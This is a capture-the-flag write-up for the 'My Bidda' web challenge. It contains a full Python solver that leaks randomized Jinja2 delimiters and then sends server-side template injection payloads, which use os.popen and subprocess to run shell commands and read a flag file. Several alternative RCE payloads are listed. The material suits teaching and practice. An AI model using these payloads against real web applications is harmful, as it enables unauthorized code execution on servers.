My Bidda
Description
Cities are way overcrowded and noisy, I want to live in a small town. Tell me about your bidda.
One of my friends found a vulnerability but he told me it's fixed now, can you check?
Website: http://mybidda.challs.srdnlen.it
Attachments: my_bidda.zip
Setup
cd src
docker-compose up
solver.py
import requests
import base64
import json
import re
# BASE_URL = "http://mybidda.challs.srdnlen.it"
BASE_URL = "http://localhost"
def leak_random_string(s: requests.Session) -> str:
resp = s.get(
f"{BASE_URL}/inspect_bidda",
params={"name": "block_start_string"},
cookies={
"biddas": base64.b64encode(
json.dumps([{"name": "dummy"}]).encode()
).decode()
},
)
m = re.findall(r"Did you want to see the default bidda called @(.*?)\?", resp.text)
assert len(m) == 1
leak_random_string = m[0]
return leak_random_string
def rce(s: requests.Session, random_string: str) -> str:
# This payload is not working in local environment because of no subprocess and os.
# payload = """
# {% for x in ''.__class__.__mro__[1].__subclasses__() if "Popen" in x.__name__ %}
# {{ x('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip() }}
# {% endfor %}
# """.replace(
# "\n", ""
# ).strip()
# available payload:
payload = """{{ x.__init__.__builtins__.__import__('os').popen('cat flag.txt').read() }}"""
# payload = """{{ x.__init__.__builtins__.__import__('subprocess').Popen('cat flag.txt',shell=True,stdout=-1).communicate()[0] }}"""
# payload = """{{ x.__init__.__builtins__.__import__('subprocess').run('cat flag.txt',shell=True,capture_output=True).stdout }}"""
# payload = """{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat flag.txt').read() }}"""
payload = payload.replace("{{", "!" + random_string)
payload = payload.replace("}}", random_string + "!")
payload = payload.replace("{%", "@" + random_string)
payload = payload.replace("%}", random_string + "@")
data = {"name": payload, "image": "b", "population": "c"}
resp = s.post(f"{BASE_URL}/send_bidda", data=data)
return resp.text
def main():
s = requests.Session()
# s.proxies = {"http": "http://127.0.0.1:8080"}
# Step 1: Leak random_string
random_string = leak_random_string(s)
# Step 2: RCE with SSTI
resp = rce(s, random_string)
print(resp)
if __name__ == "__main__":
main()
$ python3 solver.py
<h1> srdnlen{be_careful_with_instruction_set_randomization}
</h1> <h2> c </h2> <img src="b" />
Solution
The attached my_bidda.zip archive is the following:
$ unzip -t my_bidda.zip
Archive: my_bidda.zip
testing: app.py OK
testing: flag.txt OK
testing: templates/index.html OK
testing: templates/inspect_bidda.html OK
testing: templates/send_bidda.html OK
No errors detected in compressed data of my_bidda.zip.
Looking at the provided files.
# app.py
@app.route("/send_bidda", methods=["GET", "POST"])
def send_bidda():
if request.method == "GET":
return env.get_template("send_bidda.html").render()
else:
name = request.form.get("name")
population = request.form.get("population")
image = request.form.get("image")
template = f"<h1> { name } </h1> <h2> { population } </h2> <img src=\"{ image }\" />"
biddas = request.cookies.get("biddas")
if biddas:
biddas = json.loads(base64.b64decode(biddas))
biddas.append({"name": name,"population" : population, "image" :image})
else:
biddas = [{"name": name,"population" : population, "image" :image}]
resp = make_response(env.from_string(template).render())
resp.set_cookie("biddas", base64.b64encode(json.dumps(biddas).encode()).decode())
return resp
RCE with SSTI can occur because name, population and image variables embed in f-string are controllable by user and not escaped in server side.
If name is {{ 7*7 }} and it returns 49, We can SSTI.
Moreover, we can RCE by using an existing object such as subprocess or os.system.
The following is a reference for the RCE payload.
But !<random_string> and <random_string>! are used intead of {{ and }}:
# app.py
random_string = ''.join(random.choice(string.ascii_letters) for i in range(10))
env = jinja2.Environment(loader=PackageLoader("app"),
block_start_string='@'+random_string,
block_end_string=random_string+'@',
variable_start_string='!'+random_string,
variable_end_string=random_string+'!')
API — Jinja Documentation (3.0.x)
variable_start_string
The string marking the beginning of a print statement. Defaults to '{{'.
random_string is genereated at server startup and we need to leak this for RCE.
# app.py
@app.get("/inspect_bidda")
def inspect_bidda():
name = request.args.get("name")
biddas = request.cookies.get("biddas")
if biddas:
biddas = json.loads(base64.b64decode(biddas))
for bidda in biddas:
if bidda["name"] == name:
return env.get_template("inspect_bidda.html").render(env=env, bidda=bidda)
return env.get_template("inspect_bidda.html").render(env=env, name=name)
else:
return env.get_template("send_bidda.html").render()
{# inspect_bidda.html #}
{% if bidda %}
<div class="column">
<img class="demo cursor" src="{{ bidda.image }}" style="width:100%" alt="{{ bidda.name }} - Population: {{ bidda.population }}">
</div>
{% else %}
{% set tmp = env.__dict__.get(name) %}
{% if tmp == None %}
<div class="column">
<img class="demo cursor" src="https://lh6.googleusercontent.com/Bu-pRqU_tWZV7O3rJ5nV1P6NjqFnnAs8kVLC5VGz_Kf7ws0nDUXoGTc7pP87tyUCfu8VyXi0YviIm7CxAISDr2lJSwWwXQxxz98qxVfMcKTJfLPqbcfhn-QEeOowjrlwX1LYDFJN" style="width:100%" alt="404 Bidda Not Found - Population: 0">
</div>
{% else %}
<div class="column">
<p>Did you want to see the default bidda called {{ tmp }}?</p>
<a href="/">In the home you can see them all</a>
</div>
{% endif %}
{% endif %}
set tmp = env.__dict__.get(name) is interesting.
If we can set name to block_start_string in query string and call env.__dict__.get('block_start_string'), we can leak random_string.
Fortunately, if the name in cookie and query string are different, we can call this.